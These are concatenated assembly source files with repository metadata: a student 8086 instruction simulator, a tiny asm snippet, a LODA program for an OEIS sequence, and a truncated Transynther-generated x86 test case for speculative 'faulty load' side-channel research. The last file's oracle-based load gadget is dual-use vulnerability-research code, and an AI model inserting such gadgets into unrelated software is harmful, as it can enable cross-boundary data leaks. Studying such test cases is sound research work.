dw ? sizeIndex db 0 ;MOV [00],AX DONE ;MOV [00],Al DONE HASH DW ? ;MOV AX,[00] DONE HASH_Operand2 DW ? ;MOV Al,[00] DONE HASH_Operand1 DW ? ; ADD AX,[00] DONE ;ADC DX,BX DONE command DB 'MOV [00],AXe','$' ;SUB DX,BX DONE ;SBB DX,BX DONE ;................................................ .code ;DIV CX DisplayString MACRO STR ;DIV CL mov ah,9h ;MUL CX mov dx,offset STR ;MUL CL int 21h ;XOR AX,[00] ENDM DisplayString ;AND AX,[00] ;OR AX,[00] ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;NOP ;SHR ; Hany ;INC ;; HASHING ;DEC HASHING MACRO STR HASH ;CLC local moving111 ;SHL mov SI,offset STR ;SAR mov DI, offset HASH ;ROR mov al,'$' ;; to check END ;RCL MOV [DI],0H ;RCR ;ROL MOV BX,[DI] MOV CL,[SI] MOV CH,00H ADD BX,CX MOV [DI],BX moving111: MOV BX,[DI] MOV CL,[SI] MOV CH,00H ADD BX,CX ADD BX,CX ADD BX,CX MOV [DI],BX INC SI cmp al,[SI] jnz moving111 ENDM HASHING ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MAIN PROC far MOV AX,@DATA MOV DS,AX mov es,ax CALL split_command split_operands Two_Operands_Together_splited Operand1 Operand2 HASHING command_splited HASH HASHING_op Operand1 HASH_Operand1 HASHING_op Operand2 HASH_Operand2 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; check_Operand HASH_Operand1 Operand1_Value Operand1 sizeIndex ;; 0 for byte, 1 for word check_Operand HASH_Operand2 Operand2_Value Operand2 sizeIndex CALL check_command HLT MAIN ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Hany ;; split operand and store it in split_command ;; split operands and store it in Two_Operands_Together_splited split_command PROC mov SI, offset command mov DI, offset command_splited mov al,' ' ;; to check space moving11: MOVSB cmp al,[SI] jnz moving11 ;; Mena mov DI, offset Two_Operands_Together_splited mov al,'$' ;; to check end inc SI ;; to skip space moving22: MOVSB cmp al,[SI] jnz moving22 ret split_command ENDP check_command PROC MOV SI,offset HASH MOV DI,offset command_splited ;; ADD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CMP [SI],29CH JNZ CHECK1 MOV AX,Operand1_Value MOV BX,Operand2_Value ADD AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK1: ;; ADC CMP [SI],299H JNZ CHECK2 ;; CODE MOV AX,Operand1_Value MOV BX,Operand2_Value ADC AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK2: ;; SUB CMP [SI],311H JNZ CHECK3 ;; CODE DisplayString command_splited MOV AX,Operand1_Value MOV BX,Operand2_Value SUB AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK3: ;; SBB CMP [SI],2D8H JNZ CHECK4 ;; CODE MOV AX,Operand1_Value MOV BX,Operand2_Value SBB AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK4: ;; DIV CMP [SI],2EDH JNZ CHECK5 ;; CODE MOV BX,Operand1_Value MOV CL,sizeIndex CMP CL,1 JNE BYTE MOV AX,_AX ;;;;;; div error div overflow DIV BX ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MOV HASH_Operand1,24DH put_Operand HASH_Operand1 AX sizeIndex ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MOV HASH_Operand1,25CH ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; put_Operand HASH_Operand1 DX sizeIndex JMP CONT ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; BYTE: MOV AX,_AX ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; DIV BL MOV HASH_Operand1,24DH ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; put_Operand HASH_Operand1 AX sizeIndex CONT: CHECK5: ;; MUL;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CMP [SI],317H JNZ CHECK6 ;; CODE MOV BX,Operand1_Value MOV CL,sizeIndex CMP CL,1 JNE BYTE1 MOV AX,_AX MUL BX MOV HASH_Operand1,24DH put_Operand HASH_Operand1 AX sizeIndex MOV HASH_Operand1,25CH put_Operand HASH_Operand1 DX sizeIndex JMP CONT BYTE1: MOV AX,_AX MUL BL MOV HASH_Operand1,24DH put_Operand HASH_Operand1 AX sizeIndex CONT1: CHECK6: ;; MOV CMP [SI],323H JNZ CHECK7 ;; CODE put_Operand HASH_Operand1 Operand2_Value Operand1 sizeIndex CHECK7: ;; XOR CMP [SI],343H JNZ CHECK8 ;; CODE MOV AX,Operand1_Value MOV BX,Operand2_Value XOR AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK8: ;; AND CMP [SI],2BAH JNZ CHECK9 ;; CODE MOV AX,Operand1_Value MOV BX,Operand2_Value AND AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK9: ;; OR CMP [SI],232H JNZ CHECK10 ;; CODE MOV AX,Operand1_Value MOV BX,Operand2_Value OR AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK10: ;; NOP CMP [SI],315H JNZ CHECK11 ;; CODE CHECK11: ;; SHR;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CL CX CH CMP [SI],31AH ; xxxx xxxx xxxx xxxx JNZ CHECK15 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value SHR AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK15: ;; INC CMP [SI],2D7H JNZ CHECK12 ;; CODE MOV AX,Operand1_Value INC AX put_Operand HASH_Operand1 AX sizeIndex CHECK12: ;; DEC CMP [SI],2A8H JNZ CHECK13 ;; CODE MOV AX,Operand1_Value DEC AX put_Operand HASH_Operand1 AX sizeIndex CHECK13: ;; CLC CMP [SI],2B9H JNZ CHECK14 ;; CODE CLC CHECK14: ;; SHL CMP [SI],308H JNZ CHECK16 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value SHL AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK16: ;; SAR CMP [SI],305H JNZ CHECK17 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value SAR AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK17: ;; ROR CMP [SI],32BH JNZ CHECK18 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value ROR AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK18: ;; RCL CMP [SI],2F5H JNZ CHECK19 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value RCL AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK19: ;; RCR CMP [SI],307H JNZ CHECK20 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value RCR AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK20: ;; ROL CMP [SI],319H JNZ CHECK21 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value ROL AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK21: RET check_command ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;Mena check_Operand MACRO HASH_Operand Operand_Value Operand sizeIndex LOCAL CHECKBX,CHECKCX,CHECKDX, CHECKSI,CHECKDI ,CHECKSP ,CHECKBP,CHECKAL ,CHECKBL,CHECKCL,,CHECKDL,CHECKAH,CHECKBH,CHECKCH,CHECKDH,CHECK00,CHECK01,CHECK02,CHECK03,CHECK04,CHECK05,CHECK06,CHECK07,CHECK08,CHECK09,CHECKA,CHECKB,CHECKC,CHECKD,CHECKE,CHECKF,CHECKmlSI,CHECKmlBI,CHECKmlBX,movml00,movml1,movml2,movml3,movml4,movml5,movml6,movml7,movml9,movmlA,movml8,movmlB,movmlC,movmlD,movmlE,movmlF,CHECKdata,CHECKmlDI,end MOV SI,offset HASH_Operand ;; AX CMP [SI],24dH JNZ CHECKBX mov ax,_AX;; CODE mov Operand_Value,ax mov sizeIndex,1h jmp end CHECKBX: ;; BX CMP [SI],252H JNZ CHECKCX mov ax,_BX;; CODE mov Operand_Value,ax mov sizeIndex,1h jmp end CHECKCX: ;; CX CMP [SI],257H JNZ CHECKDX mov ax,_CX;; CODE mov Operand_Value,ax mov sizeIndex,1h jmp end CHECKDX: ;; DX CMP [SI],25cH JNZ CHECKSI mov ax,_DX;; CODE mov Operand_Value,ax mov sizeIndex,1h jmp end CHECKSI: ;; SI CMP [SI],27aH JNZ CHECKDI mov ax,_SI;; CODE mov Operand_Value,ax mov sizeIndex,1h jmp end CHECKDI: ;; DI CMP [SI],22fH JNZ CHECKSP mov ax,_DI;; CODE mov Operand_Value,ax mov sizeIndex,1h jmp end CHECKSP: ;; SP CMP [SI],28fH JNZ CHECKBP mov ax,_SP;; CODE mov Operand_Value,ax mov sizeIndex,1h jmp end CHECKBP: ;; BP CMP [SI],23aH JNZ CHECKAL mov ax,_BP;; CODE mov Operand_Value,ax mov sizeIndex,1h jmp end CHECKAL: ;; AL CMP [SI],229H JNZ CHECKBL mov ax,_AX;; CODE mov Ah,00H mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKBL: ;; BL CMP [SI],22eH JNZ CHECKCL mov ax,_BX;; CODE MOV AH,00H mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKCL: ;; CL CMP [SI],233H JNZ CHECKDL mov ax,_CX;; CODE MOV AH,00H mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKDL: ;; DL CMP [SI],238H JNZ CHECKAH mov ax,_DX;; CODE MOV AH,00H mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKAH: ;; AH CMP [SI],21dH JNZ CHECKBH mov ax,_AX;; CODE MOV AL,AH MOV AH,00H mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKBH: ;; BH CMP [SI],222H JNZ CHECKCH mov ax,_BX;; CODE MOV AL,AH MOV AH,00H mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKCH: ;; CH CMP [SI],227H JNZ CHECKDH mov ax,_CX;; CODE MOV AL,AH MOV AH,00H mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKDH: ;; DH CMP [SI],22cH JNZ CHECK00 mov ax,_DX;; CODE MOV AL,AH MOV AH,00H mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECK00: ;; 00 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;TO CHECK CMP [SI],3feH JNZ CHECK01 movml00: mov aL,_00 MOV AH,_01 mov Operand_Value,ax jmp end CHECK01: ; ;; 01 CMP [SI],401H JNZ CHECK02 movml1: mov aL,_01 MOV AH,_02 mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECK02: ; ;; 02 CMP [SI],404H JNZ CHECK03 movml2: mov aL,_02 MOV AH,_03 mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECK03: ; ;; 03 CMP [SI],407H JNZ CHECK04 movml3: mov aL,_03 MOV AH,_04 mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECK04: ; ;; 04 CMP [SI],40aH JNZ CHECK05 movml4: mov aL,_04 MOV AH,_05 mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECK05: ; ;; 05 CMP [SI],40dH JNZ CHECK06 movml5: mov aL,_05 MOV AH,_06 mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECK06: ; ;; 06 CMP [SI],410H JNZ CHECK07 movml6: mov aL,_06 MOV AH,_07 mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECK07: ; ;; 07 CMP [SI],413H JNZ CHECK08 movml7: mov aL,_07 MOV AH,_08 mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECK08: ; ;; 08 CMP [SI],416H JNZ CHECK09 movml8: mov aL,_08 MOV AH,_09 mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECK09: ; ;; 09 CMP [SI],419H JNZ CHECKA movml9: mov aL,_09 MOV AH,_A mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKA: ; ;; A CMP [SI],3a1H JNZ CHECKB movmlA: mov aL,_A MOV AH,_B mov Operand_Value,aX ;mov sizeIndex,0h jmp end CHECKB: ; ;; B CMP [SI],3a4H JNZ CHECKC movmlB: mov aL,_B MOV AH,_C mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKC: ; ;; C CMP [SI],3a7H JNZ CHECKD movmlC: mov aL,_C MOV AH,_D mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKD: ; ;; D CMP [SI],3aaH JNZ CHECKE movmlD: mov aL,_D MOV AH,_E mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKE: ; ;; E CMP [SI],3adH JNZ CHECKF movmlE: mov aL,_E MOV AH,_F mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKF: ;; F CMP [SI],3b0H JNZ CHECKmlSI movmlF: mov aL,_F MOV AH,_00 mov Operand_Value,ax ;mov sizeIndex,0h jmp end CHECKmlSI: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; TO CHECK ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; TO CHECK ;[SI] CMP [SI],4b2H JNZ CHECKmlDI ;; cmp _SI,0H jz movml00 cmp _SI,1H jz movml1 cmp _SI,2H jz movml2 cmp _SI,3H jz movml3 cmp _SI,4H jz movml4 cmp _SI,5H jz movml5 cmp _SI,6H jz movml6 cmp _SI,7H jz movml7 cmp _SI,8H jz movml8 cmp _SI,9H jz movml9 cmp _SI,0AH jz movmlA cmp _SI,0BH jz movmlB cmp _SI,0CH jz movmlC cmp _SI,0DH jz movmlD cmp _SI,0EH jz movmlE cmp _SI,0FH jz movmlF ; ; ;RegisterIndirect_Addressing_Mode _SI jmp end CHECKmlDI: ; ;; [DI] CMP [SI],485H JNZ CHECKmlBX ; cmp _DI,0H jz movml00 cmp _DI,1H jz movml1 cmp _DI,2H jz movml2 cmp _DI,3H jz movml3 cmp _DI,4H jz movml4 cmp _DI,5H jz movml5 cmp _DI,6H jz movml6 cmp _DI,7H jz movml7 cmp _DI,8H jz movml8 cmp _DI,9H jz movml9 cmp _DI,0AH jz movmlA cmp _DI,0BH jz movmlB cmp _DI,0CH jz movmlC cmp _DI,0DH jz movmlD cmp _DI,0EH jz movmlE cmp _DI,0FH jz movmlF ; ; ;RegisterIndirect_Addressing_Mode _DI CHECKmlBX: ;; [BX] CMP [SI],4acH JNZ CHECKdata ; cmp _BX,0H jz movml00 cmp _BX,1H jz movml1 cmp _BX,2H jz movml2 cmp _BX,3H jz movml3 cmp _BX,4H jz movml4 cmp _BX,5H jz movml5 cmp _BX,6H jz movml6 cmp _BX,7H jz movml7 cmp _BX,8H jz movml8 cmp _BX,9H jz movml9 cmp _BX,0AH jz movmlA cmp _BX,0BH jz movmlB cmp _BX,0CH jz movmlC cmp _BX,0DH jz movmlD cmp _BX,0EH jz movmlE cmp _BX,0FH jz movmlF ; ;RegisterIndirect_Addressing_Mode _BX CHECKdata: Convert_OP_TO_HEXA Operand mov Operand_Value,ax end: check_Operand ENDM ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Convert_OP_TO_HEXA MACRO OPERAND local l1, l2, numb, SKIP_NUM, end_of_op,FINISHED ;;STORES THE RESULT in AX mov cx,0 mov dx,0 MOV DI, offset OPERAND l1: cmp [DI],'$' je end_of_op inc cx ;;counter (LENTGH OF STRING) mov dl, [DI] ;; store it to proccedd cmp dl,'A' jb numb cmp dl, 'F' ja numb ;; from A-F sub dl,55 ;; convertd A-F to 10-16 jmp SKIP_NUM numb: ;; from 1 - 9 sub dl,'0' SKIP_NUM: push dx ;; STORE IN STACK TO TAKE IT BACK inc di ;; next Char jmp l1 end_of_op: mov bx,1 mov di,0 ; to store result CMP CX,0 ;;STRING WAS EMPTY JE FINISHED l2: ; pop and multi then add to dx pop ax mul bx ;; MULTIPLY AX BY THE SUITABLE WEIGHT add di,ax mov ax,bx ;; INCREASE THE WEIGHT mov bx,16 ;;in AX mul bx mov bx,ax ;;get it in BX loop l2 FINISHED: mov ax,di ;; STORE THE RESULT ENDM Convert_OP_TO_HEXA ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; done put_Operand MACRO HASH_Operand Operand_Value sizeIndex LOCAL CHECKBX,CHECKCX,CHECKDX, CHECKSI,CHECKDI ,CHECKSP ,CHECKBP,CHECKAL ,CHECKBL,CHECKCL,,CHECKDL,CHECKAH,CHECKBH,CHECKCH,CHECKDH,CHECK00,CHECK01,CHECK02,CHECK03,CHECK04,CHECK05,CHECK06,CHECK07,CHECK08,CHECK09,CHECKA,CHECKB,CHECKC,CHECKD,CHECKE,CHECKF,CHECKmlSI,CHECKmlBI,CHECKmlBX,movml00,movml1,movml2,movml3,movml4,movml5,movml6,movml7,movml9,movmlA,movml8,movmlB,movmlC,movmlD,movmlE,movmlF,CHECKdata ,CHECKmlDI,end MOV SI,offset HASH_Operand mov cl,sizeIndex mov ch,1h ;; AX CMP [SI],24dH JNZ CHECKBX mov ax,Operand_Value;; CODE mov _AX,ax jmp end CHECKBX: ;; BX CMP [SI],252H JNZ CHECKCX mov ax,Operand_Value;; CODE mov _BX,ax jmp end CHECKCX: ;; CX CMP [SI],257H JNZ CHECKDX mov ax,Operand_Value;; CODE mov _CX,ax jmp end CHECKDX: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; DX CMP [SI],25cH JNZ CHECKSI mov ax,Operand_Value;; CODE mov _DX,ax jmp end CHECKSI: ;; SI CMP [SI],27aH JNZ CHECKDI mov ax,Operand_Value;; CODE mov _SI,ax jmp end CHECKDI: ;; DI CMP [SI],22fH JNZ CHECKSP mov ax,Operand_Value;; CODE mov _DI,ax jmp end CHECKSP: ;; SP CMP [SI],28fH JNZ CHECKBP mov ax,Operand_Value;; CODE mov _SP,ax jmp end CHECKBP: ;; BP CMP [SI],23aH JNZ CHECKAL mov ax,Operand_Value;; CODE mov _BP,ax jmp end CHECKAL:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; AL CMP [SI],229H JNZ CHECKBL mov ax,Operand_Value;; CODE mov bx,_AX mov bl,al mov _AX,bx jmp end CHECKBL: ;; BL CMP [SI],22eH JNZ CHECKCL mov ax,Operand_Value;; CODE mov bx,_BX mov bl,al mov _bX,bx jmp end CHECKCL: ;; CL CMP [SI],233H JNZ CHECKDL mov ax,Operand_Value;; CODE mov bx,_CX mov bl,al mov _CX,bx jmp end CHECKDL: ;; DL CMP [SI],238H JNZ CHECKAH mov ax,Operand_Value;; CODE mov bx,_DX mov bl,al mov _DX,bx jmp end CHECKAH: ;; AH CMP [SI],21dH JNZ CHECKBH mov ax,Operand_Value;; CODE mov bx,_AX mov bh,al mov _AX,bx jmp end CHECKBH: ;; BH CMP [SI],222H JNZ CHECKCH mov ax,Operand_Value;; CODE mov bx,_BX mov bh,al mov _BX,bx jmp end CHECKCH: ;; CH CMP [SI],227H JNZ CHECKDH mov ax,Operand_Value;; CODE mov bx,_CX mov bh,al mov _CX,bx jmp end CHECKDH: ;; DH CMP [SI],22cH JNZ CHECK00 mov ax,Operand_Value;; CODE mov bx,_DX mov bh,al mov _DX,bx jmp end CHECK00: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; 00 CMP [SI],3feH JNZ CHECK01 movml00: mov ax,Operand_Value;; CODE mov _00,al cmp cl,ch jne end mov _01,ah jmp end CHECK01: ; ;; 01 CMP [SI],401H JNZ CHECK02 movml1: mov ax,Operand_Value;; CODE mov _01,al cmp cl,ch jne end mov _02,ah jmp end CHECK02: ; ;; 02 CMP [SI],404H JNZ CHECK03 movml2: mov ax,Operand_Value;; CODE mov _02,al cmp cl,ch jne end mov _03,ah jmp end CHECK03: ; ;; 03 CMP [SI],407H JNZ CHECK04 movml3: mov ax,Operand_Value;; CODE mov _03,al cmp cl,ch jne end mov _04,ah jmp end CHECK04: ; ;; 04 CMP [SI],40aH JNZ CHECK05 movml4: mov ax,Operand_Value;; CODE mov _04,al cmp cl,ch jne end mov _05,ah jmp end CHECK05: ; ;; 05 CMP [SI],40dH JNZ CHECK06 movml5: mov ax,Operand_Value;; CODE mov _05,ax cmp cl,ch jne end mov _06,ah jmp end CHECK06: ; ;; 06 CMP [SI],410H JNZ CHECK07 movml6: mov ax,Operand_Value;; CODE mov _06,ax cmp cl,ch jne end mov _07,ah jmp end CHECK07: ; ;; 07 CMP [SI],413H JNZ CHECK08 movml7: mov ax,Operand_Value;; CODE mov _07,al cmp cl,ch jne end mov _08,ah jmp end CHECK08: ; ;; 08 CMP [SI],416H JNZ CHECK09 movml8: mov ax,Operand_Value;; CODE mov _08,al cmp cl,ch jne end mov _09,ah jmp end CHECK09: ; ;; 09 CMP [SI],419H JNZ CHECKA movml9: mov ax,Operand_Value;; CODE mov _09,al cmp cl,ch jne end mov _A,ah jmp end CHECKA: ; ;; A CMP [SI],3a1H JNZ CHECKB movmlA: mov ax,Operand_Value;; CODE mov _A,al cmp cl,ch jne end mov _B,ah jmp end CHECKB: ; ;; B CMP [SI],3a4H JNZ CHECKC movmlB: mov ax,Operand_Value;; CODE mov _B,al cmp cl,ch jne end mov _C,ah jmp end CHECKC: ; ;; C CMP [SI],3a7H JNZ CHECKD movmlC: mov ax,Operand_Value;; CODE mov _C,al cmp cl,ch jne end mov _D,ah jmp end CHECKD: ; ;; D CMP [SI],3aaH JNZ CHECKE movmlD: mov ax,Operand_Value;; CODE mov _D,al cmp cl,ch jne end mov _E,ah jmp end CHECKE: ; ;; E CMP [SI],3adH JNZ CHECKF movmlE: mov ax,Operand_Value;; CODE mov _E,al cmp cl,ch jne end mov _F,ah jmp end CHECKF: ; ;; F CMP [SI],3b0H JNZ CHECKmlSI movmlF: mov ax,Operand_Value;; CODE mov _F,al cmp cl,ch jne end mov _00,ah jmp end CHECKmlSI: ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ;[SI] CMP [SI],4b2H JNZ CHECKmlDI ;; cmp _SI,0H jz movml00 cmp _SI,1H jz movml1 cmp _SI,2H jz movml2 cmp _SI,3H jz movml3 cmp _SI,4H jz movml4 cmp _SI,5H jz movml5 cmp _SI,6H jz movml6 cmp _SI,7H jz movml7 cmp _SI,8H jz movml8 cmp _SI,9H jz movml9 cmp _SI,0AH jz movmlA cmp _SI,0BH jz movmlB cmp _SI,0CH jz movmlC cmp _SI,0DH jz movmlD cmp _SI,0EH jz movmlE cmp _SI,0FH jz movmlF ; ; ; ;RegisterIndirect_Addressing_Mode _SI jmp end CHECKmlDI: ; ;; [DI] CMP [SI],485H JNZ CHECKmlBX ; cmp _DI,0H jz movml00 cmp _DI,1H jz movml1 cmp _DI,2H jz movml2 cmp _DI,3H jz movml3 cmp _DI,4H jz movml4 cmp _DI,5H jz movml5 cmp _DI,6H jz movml6 cmp _DI,7H jz movml7 cmp _DI,8H jz movml8 cmp _DI,9H jz movml9 cmp _DI,0AH jz movmlA cmp _DI,0BH jz movmlB cmp _DI,0CH jz movmlC cmp _DI,0DH jz movmlD cmp _DI,0EH jz movmlE cmp _DI,0FH jz movmlF ; ; ; ;RegisterIndirect_Addressing_Mode _DI CHECKmlBX: ;; [BX] CMP [SI],4acH JNZ end ; cmp _BX,0H jz movml00 cmp _BX,1H jz movml1 cmp _BX,2H jz movml2 cmp _BX,3H jz movml3 cmp _BX,4H jz movml4 cmp _BX,5H jz movml5 cmp _BX,6H jz movml6 cmp _BX,7H jz movml7 cmp _BX,8H jz movml8 cmp _BX,9H jz movml9 cmp _BX,0AH jz movmlA cmp _BX,0BH jz movmlB cmp _BX,0CH jz movmlC cmp _BX,0DH jz movmlD cmp _BX,0EH jz movmlE cmp _BX,0FH jz movmlF ; ;RegisterIndirect_Addressing_Mode _BX end: put_Operand ENDM END MAIN ; ;..................................... ; check_command MACRO command result;; command is a string that contain the command-- Result -> 1 means sucess -- -> 0 failed ; ;; determine the command ; cmp ; jnz ; ;; checing validation ; ;; split two operands ; ;;des 1 -- des 2 ; ;; call macro-> move ; cmp ; ;;call macro-> add ; ENDM check_command ; move MACRO des1 des2 _Ax _BX _CX ; ;; Es ; ;; second reg, memory -> ; ; ; ; ; ; move ES ; ;; first ; ; ; ; ; ;mov variable es ; ;................. ; ;; reg cehck ; ;;ax ;;mov [_al], ; ; l h ; ;;memory ; ;;[] ; ;;reg ; ;; location num ; ;exec ; ENDM move ; ;...........
17.40346
424
0.44929
e1d3422e17086a83b37837c79090687de76dd046
22
asm
Assembly
asm/opcs.asm
pedroreissantos/pepe
444afc02359c31cfe24017dda49395016d94d43e
[ "BSD-3-Clause" ]
null
null
null
asm/opcs.asm
pedroreissantos/pepe
444afc02359c31cfe24017dda49395016d94d43e
[ "BSD-3-Clause" ]
null
null
null
asm/opcs.asm
pedroreissantos/pepe
444afc02359c31cfe24017dda49395016d94d43e
[ "BSD-3-Clause" ]
null
null
null
SUB r1, r5 ADD r2, 5
5.5
10
0.590909
81c8e9672dc919584e18879dc5e47058a98d091e
518
asm
Assembly
programs/oeis/181/A181292.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/181/A181292.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/181/A181292.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A181292: The sum of the entries in the top rows of all 2-compositions of n. A 2-composition of n is a nonnegative matrix with two rows, such that each column has at least one nonzero entry and whose entries sum up to n. ; 0,1,7,36,164,700,2868,11424,44576,171216,649520,2439360,9085632,33605312,123561536,451998720,1646101504,5971400960,21586910976,77796897792,279594972160,1002326793216,3585117623296,12796737085440 mov $1,$0 mov $2,$0 lpb $2,1 add $0,$1 add $1,$0 mul $0,2 sub $2,1 lpe mov $1,$0 div $1,4
37
221
0.752896
3de67f9ef8f0a39c93ff934f112a11ee8aaa15ae
6,316
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_1214_559.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_1214_559.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_1214_559.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x830b, %rsi nop nop nop cmp $65099, %r10 mov $0x6162636465666768, %r13 movq %r13, (%rsi) nop nop nop nop sub $11517, %rbp lea addresses_normal_ht+0xd027, %rsi lea addresses_WT_ht+0x88e3, %rdi clflush (%rsi) cmp %rdx, %rdx mov $83, %rcx rep movsw nop nop nop nop sub %rbp, %rbp lea addresses_A_ht+0x73e3, %rsi lea addresses_WT_ht+0xf4f3, %rdi nop nop nop nop nop xor $23221, %r10 mov $64, %rcx rep movsb cmp %rsi, %rsi lea addresses_UC_ht+0x181d4, %rsi nop nop nop nop cmp %rdi, %rdi mov (%rsi), %edx nop and $60305, %r10 lea addresses_UC_ht+0xe8f3, %rsi lea addresses_normal_ht+0x1c19, %rdi nop nop nop sub $25499, %r11 mov $107, %rcx rep movsb nop nop nop nop nop inc %r10 lea addresses_normal_ht+0xd27c, %rsi nop cmp $58819, %rdi movl $0x61626364, (%rsi) nop nop cmp %r11, %r11 lea addresses_D_ht+0x151e3, %rdx nop nop nop nop nop add $36378, %rcx mov (%rdx), %r13d nop nop nop and %rbp, %rbp lea addresses_WC_ht+0xf9a3, %rsi lea addresses_UC_ht+0xd0fa, %rdi nop nop nop inc %r13 mov $49, %rcx rep movsb nop nop nop xor $18783, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r15 push %rax push %rbx push %rcx push %rsi // Store mov $0x549f100000000deb, %r13 nop and $17190, %rax mov $0x5152535455565758, %rsi movq %rsi, %xmm3 vmovaps %ymm3, (%r13) nop nop nop nop cmp $4559, %r13 // Faulty Load lea addresses_WT+0x101e3, %r10 nop nop nop nop nop xor %rcx, %rcx mov (%r10), %r15d lea oracles, %rax and $0xff, %r15 